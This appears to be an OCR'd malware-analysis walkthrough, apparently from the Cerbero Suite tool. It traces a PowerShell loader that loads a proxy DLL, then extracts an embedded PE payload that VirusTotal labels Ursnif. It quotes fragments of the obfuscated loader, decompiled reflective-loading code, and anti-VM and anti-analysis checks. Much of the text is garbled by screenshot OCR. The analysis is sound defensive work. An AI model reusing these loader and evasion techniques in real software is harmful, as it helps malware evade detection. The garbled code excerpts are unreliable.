000000F0 = 00 00 00 00 FO 00 22 20 0B 02 0E 00 00 3E 00 00

A Metadata 00000100 00 cO 16 00 00 00 00 00 CcO 10 00 00 00 10 00 00
44 Incorrect checksum value 00000110 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00
00000120 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00

ormat &
Ean x 00000130 00 50 17 00 00 04 00 00 00 00 00 00 02 00 60 01
4 |§ Optional Header ~ 00000140 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00
14 Data Directories 00000150 | 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00

00000160 00 00 00 00 10 00 00 00 FO 5F 00 00 60 00 00 00

4 Section Headers
00000170 50 60 00 00 3C 00 00 00 00 30 17 00 EO 01 00 00

i Export Directory 00000180 | 00 20 17 00 D4 01 00 00 00 00 00 00 00 00 00 00

W Import Directory 00000190 | 00 40 17 00 CO 00 00 00 80 5D 00 00 38 00 00 00

l Resource Directory v
W Exception Directory v v

Enter Python code here

The PowerShell scripts calls two methods in the module after it was loaded:

if (($ZpzeTj.FileType -ieq "DLL") -and ($RemoteProcHandle -eq
[IntPtr]::Zero))
{
[IntPtr]$Jskadx = Get-qRdmSS -PEHandle $PEHandle -
FunctionName "KkDVMjxaxZYsr"
[IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -
FunctionName "setPath"

$mPth = $global:scriptPath
$scriptPathPtr =
[System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($mPth)

if ($Jskadx -ne [IntPtr]::Zero)
{
$VoidFuncDelegate = Get-yMmHLP @() ([Bool])
$VoidFunc = $tvar::$pName.Invoke($JIskadx,
$VoidFuncDelegate)

$VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Bool])

$VoidSelf = $tvar::$pName.Invoke($PathToSelf,
$VoidSelfDelegate)

$VoidSelf.Invoke($scriptPathPtr)

$VoidFunc.Invoke()

It calls “kDVMijxaxZYsr” and “setPath”. These are also the only exported functions by the
module.
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§ [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - o
KH-BE @ %% HEe Ll d e €9 o w N IE # & 0% SHA225 ~||7751A0083C1146B5DB72BE1218287DA6FDAC65813A1EBIAESEO38ODBE7IDAAER N~
L Roots 8 % Output & x
# File Risk Format carbon: analysis finished in 0.1 seconds
1 C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
% Hierarchy & % Analysis [Export Drectory] 8 %
Name Name Offset size Value Description X
4 B mw_ps_ins_rem_encoded exe.txt output || Characteristics 000051F0 4 00000000
4 | Documents TimeDateStamp 000051F4 4 63D50BA3 sab gen 28 11:48:51 2023 G..
% Configuration file 2 [lang:1033] Majorversion 000051F8 2 0000
MinorVersion 000051FA 2 0000
< > || Name 000051FC 4 0000602C .rdata (aswhook.dll)
L Summary 8 % |Base 00005200 4 00000001
“ @ online NumberOfFunctions 00005204 4 00000002
@ Intelligence: MalwareBazaar
- NumberOfNames 00005208 4 00000002
4 &8 Intrinsic threats
&2 Native code: x64 AddressofFunctions 0000520C 4 00006018 .rdata
4 % Pprivacy AddressofNames 00005210 4 00006020 .rdata o
L Debug data
. Ordinal Function RVA Name Ord Name RVA Name Demangled Forwarding
4 /. Warnings
AL Metadata )
4. Incorrect checlsum value 1 00001000 0 00006038 kDVMjxaxZysr NA NA
2 00001040 1 00006045 setPath NA NA
4 Format 8 x
4 [ Optional Header A
14 Data Directories
14 Section Headers
[ Export Directory
l Import Directory
M Resource Directory
il Exception Directory
s Relncatinn Nirecton h
Enter Python code here

Looking at the code of one of the exported functions, we can notice that it just calls an
internal function pointer.

void __ fastcall setPath(void)

{
if (*(code **)0x180171460 !'= (code *)0x0) {

// WARNING: Could not recover jumptable at 0x00018000104c. Too many branches
// WARNING: Treating indirect jump as call

(**(code **)0x180171460)();

return;

}

return;

Analyzing the code from the entry point, we see where the function pointer is resolved.
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R BEE @ ow 0 wE 0 d e €9 e o BN EE # & 0% [SHA2/25 -|[7751A00B3C1146B5DB72BE1218287DAGFDACG5813A1EBOAESEOIBIDBSTIDAREE | -+
' Output
# File Risk Format
1] C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
y [a Analysis [Native code: x64] 8B Decompier [Native code: x64] <]
Name A |[void _ fastcall initDLL(void)
4 E ‘mw_ps ins_rem ded_exe.txt outpt !
CREINSTEmy = = uint64_t payload base;
“ |4 Documents unké4_t payload size;
" Configuration file 2 [lang:1033] v
Q S payload size = 0x169A00;
payload base = 0x180007320;
4 allocSpeciallemory (100) ;
4 @ online *(int64 t *)0x180171468 = internalLoad(spayload base) ;
@ intelli e if (*(int64_t *)0x180171468 != 0) {
el jsnces] MalwareBazaar *(unk64_t *)0x180171458 = (*_GetProcAddress) (*(int64_t *)0x1B0171468, "dataCheck"):
4 @ Intrinsic threats *(unk64_t *)0x180171460 = (*_GetProcAddress) (* (int64 t *)0x1B0171468, "setPath");
& Native code: x64 }
4 1priwcy return;
A Debug data !
4 /L Warnings
b Metadata
4L Incorrect checksum value
=]
4 Optional Header A
14 Data Directories
14 Section Headers
W Export Directory
W Import Directory
M Resource Directory
l Exception Directory
to

*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)Ox180171468, '"setPath");

Analyzing the code, we noticed that the module loads another module and then resolves the
“‘kDVMjxaxZYsr” and “setPath” from it.

# File Risk Format
1] C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
y [a Analysis [Native code: x64] 8B Decompler [Native code: %64] 5]
Name A } ~
= g }
“ [ mw_ps.ins_rem |_exe.txt_outpt // zwMapviewofSection
4 s Documents uvarl = invokeAPI (*(int64_t *)0x180170D30, *(unk64_t *)0x180170DT8, sub_1800011C0, 0x180170D70);
" Configuration file 2 [lang:1033]  ~ *(unk32_t *) ((uint64_t)* (Uint32 + *)0x180170D54 * 4 + 0x180007000) = uvarl:
Q S #(uint32_t *)0x180170D54 = *(uint32 t *)0x180170D54 + 1;
/" P tion
o 4 uvarl = invokeAPI (*(int64_t *)0x180170D30, *(unk64 t *)0x180170D90, sub_ 180001730, 0x180170D98);
4 @ Online #(unk32_t *) ((uint64_t)* (uint32_t *)0x180170D54 * 4 + 0x180007000) = uvarl;
* (ui - = *(ui * .
@ Intelligence: Malwarel . (uint32_t *)0x180170D54 (uint32_t *)0x180170D54 + 1;
L // ZuCreateSection
4 & Intrinsic threats uVarl = invokeAPT (*(int64 t *)0x180170D30, *(unk64 t *)0x180170D80, sub 1800010F0, 0x180170D88);
& Native code: x64 *(unk32_t *) ((uint64_t)*(uint32_t *)0x180170D54 * 4 + 0x180007000) = uvari;
4 % Privacy *(uint32_t *)0x180170D54 = *(uint32_t *)0x180170D54 + 1;
L Debug data // ZwOpenFile
E ebug uvarl = invokeAPI (*(int64_t *)0x180170D30, *(unk64_t *)0x180170D68, sub_ 180001610, 0x180170D60) ;
4 A Warnings #(unk32_t %) ((uint64_t)*(Uint32 t *)0x180170D54 * 4 + 0x180007000) = uvarl;
4L Metadata *(uint32_t *)0x180170D54 = *(uint32 t *)0x180170D54 + 1;

uvarl = sub_180002150 ("kernel32.dll", "RaiseFailFastException", 0x180001FBO, 0x180170DD8);
*(unk32_t *) ((uint64_t) *(uint32_t *)0x180170D54 * 4 + 0x180007000) = uvarl;

*(int32_t *)0x180170D54 = *(uint32_t *)0x180170D54 + 1;

// LdrLeadDll

status = (**(code **)0x180170DB8) (0, O, Ox180170DF0, hModule) ;

) if (status < 0) {

memset (* (uinté4_t *)0x180170D20, O, *(unk32_t *)0x180170D28) ;

L Incorrect checksum value

4 1 Optional Header A Mfodu1e 0] = o0-
. |4 Data Directories ) .
14 Section Headers else {

\ Export Directory freeDLL() ;

i Import Directory }
" t hModule[0];
M Resource Directory ) setuen ute o] "

l Exception Directory
| Ralnratinn Diractan: v || Line: 80 - Column: 72
Enter Python code here

So the module acts just as a proxy to another module and forwards its exports to it.

To find the other module we just searched for the “MZ” string in the hex view. The third hit got
us to an embedded PE.
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We can, of course, just press Ctrl+E and load the embedded PE, but to be more accurate we
first selected the data belonging to the PE. In fact, we know the size of the embedded PE
from the following lines:

void _ fastcall initDLL(void)

{
uint64_t payload_base;
unk64_t payload_size;

payload_size OXx169A00;
payload_base 0x180007320;
allocSpecialMemory(100);
*(int64_t *)0x180171468 = internallLoad(&payload_base);
if (*(int64_t *)0x180171468 != 0) {
*(unk64_t *)0x180171458 (*_GetProcAddress) (*(int64_t *)0x180171468,
"dataCheck");
*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468,
"setPath");
}

return;

Hence, we know that the size is 0x169A00 and we press Ctrl+G to select the data.

s [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - o
H-BEi@hm W (S Ud KPPk a9 w BN EE # & 0% [sHA2/256 +||7751A09B3C1146B5DB72BE1218287DA6FDAC65813A1EBIAESEO389DBS79DAAER e
L Roots 8 % Output 8 x
# File Risk Format
1| C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
4 Hierarchy 8 x4 Analysis [mw_ps_ins_rem_encoded_exe.txt_output] & x
Name A~ | [0 Hex | il Fie stats
4 | mw_ps ins_rem_encoded exe.txt outpl Offset 001 2 3 4 5 6 7 8 9 A B CDE F Ascii ~
4 4 Documents 00005820 €O 58 00 80 01 00 00 00 DO 58 00 80 01 00 00 00 .X N U <-Format data
* Configuration file 2 [lang:1033] v 00005880 EO 58 00 80 01 00 00 00 FO 58 00 80 01 00 00 00  .X.
; N 000058C0 | 00 59 00 80 01 00 00 00 10 59 00 80 01 00 00 00 .Y.
Y

000058D0 | 20 59 00 80 01 00 00 00 30 59 00 80 01 00 00 00  .Y.

[J Summary s x 000058E0 | 38 59 00 80 01 00 00 00 48 59 00 80 01 00 00 00 | 8Y.

+ @ online 000058F0 | 58 59 00 80 01 00 00 00 68 59 00 80 01 00 00 00 | XV.
. 00005900 | 80 59 00 80 01 00 00 00 98 59 00 80 01 00 00 00

@ intelligence: MalwareBazaar 00005910 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ...

4 & Intrinsic threats 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.

& Native code: x64 B8 00 00 00 00 00 00 D0 40 00 00 00 00 00 00 00

. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
4
& privacy 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 (---
A Debug data OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ... .L.!Th
4 L Warnings 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is.program.canno
AL Metadata

74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS.
6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 mode. -
RE 46 56 E6 EA 27 38 BS ER 27 38 B5 EA 27 38 BS
SE BB C% B5 E4 27 38 BS SE BB CB B5 4A 27 38 BS
S5E BB CA BS F1 27 38 BS 7D 79 3D B4 EE 27 38 BS
D1 79 3B B4 E2 27 38 BS D1 79 3D B4 99 27 38 BS
D1 79 3C B4 CF 27 38 BS 37 DB F6 B5 EB 27 38 BS
37 D8 EB B5 E9 27 38 BS 78 79 3B B4 EB 27 38 BS
EA 27 238 B5 ES 27 38 BS 37 D8 F3 B5 F5 27 38 BS
EA 27 39 B5 D3 26 38 BS 7D 79 31 B4 D6 27 38 BS
7D 79 38 B4 EB 27 38 BS 7D 79 3A B4 EB 27 38 BS
52 69 63 68 EA 27 38 BS 00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 00 50 45 00 00 &4 86 07 00
8a 0B D5 63 00 00 00 00 00 00 00 00 FO 00 22 20
0B 02 0OE 00 00 96 OE 00 00 70 08 00 00 00 00 0O

4 Incorrect checksum value

= Format B x
4 [ Optional Header Py
14 Data Directories
4 Section Headers
 Export Directory
l Import Directory
il Resource Directory
il Exception Directory

s Relncatinn Directany

v Cursor: 16F31F Selection: 5920 Size: 169A00 - (Format data)

Enter Python code here

Now that the data is selected we can load it as an embedded object (Ctrl+E).
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Name (optional): |pa\_.rload.dll

Format
ONENOTE
OTF
PDB

PEM

Description
OneNote Format
OpenType Font
Program DataBase
Portable Document Format
Portable Executable

Privacy-Enhanced Mail

File extensions
onenote, one
otf
pdb
pdf
pe, exe, ocx, dll, sys

pem

PKCS12
PKCS7

PKCS12 Certificate
PKCS7 Certificate

pkcs12, p12, pfx
pkes7, p7c, p7b

The embedded module indeed exports the actual functions which are being called by the
proxy module.

Rl BIE @ 0w  WEe Ll d e €9 o o N EE # & % [s4A2256 -||[A41DEED7A7BCOOFABA5490EAS72114BBCC2DD11F2301D954A5ODEE67FAICCASS | v
' Output
# File Risk Format
[1 ] C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
<, Analysis [Export Directory] & x
Name Name Offset size Value Description ]
4 B mw_ps_ins_rem_encoded_exe.txt_output || Characteristics 00141760 4 00000000
4 - E:KUT"E"E TimeDateStamp 00141764 4 63D50B86 sab gen 28 11:48:22 2023 G..
% Configuration file 2 lang:1033] Majorversion 00141768 2 0000
* i Brecutables i i 00141762 2 0000
MinorVersion
@ payload.dil
Name 0014176C 4 00142D9C .rdata (LdrAddx64.dll)
< >
Base 00141770 4 00000001
= NumberOfFunctions 00141774 4 00000002
* @ online || wumpezosy 00141778 4 00000002
0 Intelligence: MalwareBazaar crotianes
4 & ntrinsic threats RddressofFunctions 0014177¢C 4 00142088 .rdata
0 Native code: x64 AddressofNames 00141780 4 00142D%0 .rdata o
4 2 Privacy
2 Debug data Oxdinal Function RVA Name Ord Name RVA Name Demangled Forwarding
4 Aw;rnings (n)
A Metadata
A L 1 00014220 0 00142DAR dataCheck NA NA
4L Incorrect value ¥
= 2 00016020 1 00142DB4 setPath NA NA
4 Optional Header A
14 Data Directories
14 Section Headers
E Export Directory
W Import Directory
M Exception Directory
i Relocation Directory
\ Dehua Directan: M

i [Enter Python code here

The final module (SHA2-256:
A41DEED7A7BC99F4B45490E4572114B8CC2DD11F2301D954A59DEEG7FA3CCAG3) is
not obfuscated and can be analyzed.

In the screenshot we can see some anti-reversing checks.
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- olEm

_t *) (param 1 + O0xEB) = 0;

= sub_18006D600 (0x18010B998) ;

pazan 1[0x60] = ivar2 != 0;

ivar2 = findProcess("procexp6d.exe”);
param_1[0x61] = ivar2 != 0;

war3 = (*_GetModuleHandleW) ("kEernel32.dll");

4 @ mw_ps_ins_rem_encoded_exe.txt_output
4 4 Documents
~ Configuration file 2 [lang:1033]
4 M Executables

S{payioac:al] (waz3 1= 0) (
i R iVar4 = (*_GetProcAddress) (uVar3, "wine_get_unix file name");
uvar3 = (uint64_t) (ivard != 0);
LJ Summary 8 x )
. param 1[0x62] = (char)uVar3;
+ @ online ) . ivVar2 = sub_18006BBBO () ;
0 Intelligence: MalwareBazaar para.m_l[BB]_= ivarz 1= 0;
4 & Intrinsic threats ivar2 = sub_180068D10 ()
4 Native code: x64 param 1[100] = ivar2 != 0;
. ivar2 = sub_180068E60();
4 A privacy param 1[0x65] = ivar2 I= 0;
A Debug data ivar2 = sub_180068FBO () ;
4 /L Warnings param 1[0x66] = ivVar2 != 0;
/L Metadata ivar2 = sub_180069290();
heck param 1[0x67] = iVar2 != 0;
& Incorrect value 2 ivar2 = sub_18006D600 (0x18010SDBO) ;
5 Format 8 x param 1[0x68] = ivar2 != 0;

a iVar2 = sub_180069460() ;

param _1[0x69] = ivar2 != 0;

ivard = (*_FindWindoww) ("VBoxTrayToolWndClass", 0) ;
iVar5 = (*_FindWindowW) (0, "VBoxTrayToolwnd") ;

4 [ Optional Header
4 Data Directories
1§ Section Headers

W Export Directory ((ivazd != 0) || (ivazs != 0)) {
i Import Directory , ivar5 = 1;
i Exception Directory param 1[0x6R] = (char)iVars;

Il Relocation Directory
Jws Dehuia Directony

Line: 51 - Column: 47

<

§ [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite
H-BE @& Lbs HEe Ll d e €9 @ w N EE # & 0% [SHA225 ~||A41DEED7A7BCOOF4B45490E4572114B8CC2DD11F2301D954ASODEEG7FA3CCAG3 iR
L Roots. 8 %  Output 8 x
# File Risk Format
1| C:\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
“ Hierarchy e | § Analysis [Native code: x64] 8| B Decompier [Native code: x64] [x]
Name t *) (param 1 + 0xE0) ~

Enter Python code here

We have uploaded the final payload to VirusTotal and this time more engines detected the

threat, although only 28 out of 69.

(D 28 security vendors and no sandboxes flagged this file as malicious

28

169
a41deed7a7bc99f4b45490e4572114b8cc2dd11f2301d954a59dee67fa3c 141 MB
cab3 i
Size
payload.dil_
pedll  64bits  assembly
Community Score
DETECTION DETAILS COMMUNITY

W o X

2023-03-24 16:44:54 UTC

Q
a moment ago DLL

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an AP| key to automate checks.

Popular threat label (D trojan.ursnif/deepscan Threat categories frojan  downloader
Security vendors® analysis ()

AhnLab-V3 @ Trojan/Win.Ursnif.C5391171 AlLYac
Arcabit @ DeepScan:Generic.Ursnif.3.1. A1C1D613 Avast

AVG @ Win32:TrojanX-gen [Trj] BitDefender

The name of the malware appears to be “Ursnif”.

Family labels ursnif  deepscan bumblebee

Do you want to automate checks?
@ DeepScan:Generic.Ursnif.3.1.A1C1D613
(1) Win32:TrojanX-gen [Trj]

(D) DeepScan:Generic.Ursnit.3.1.A1G1D613
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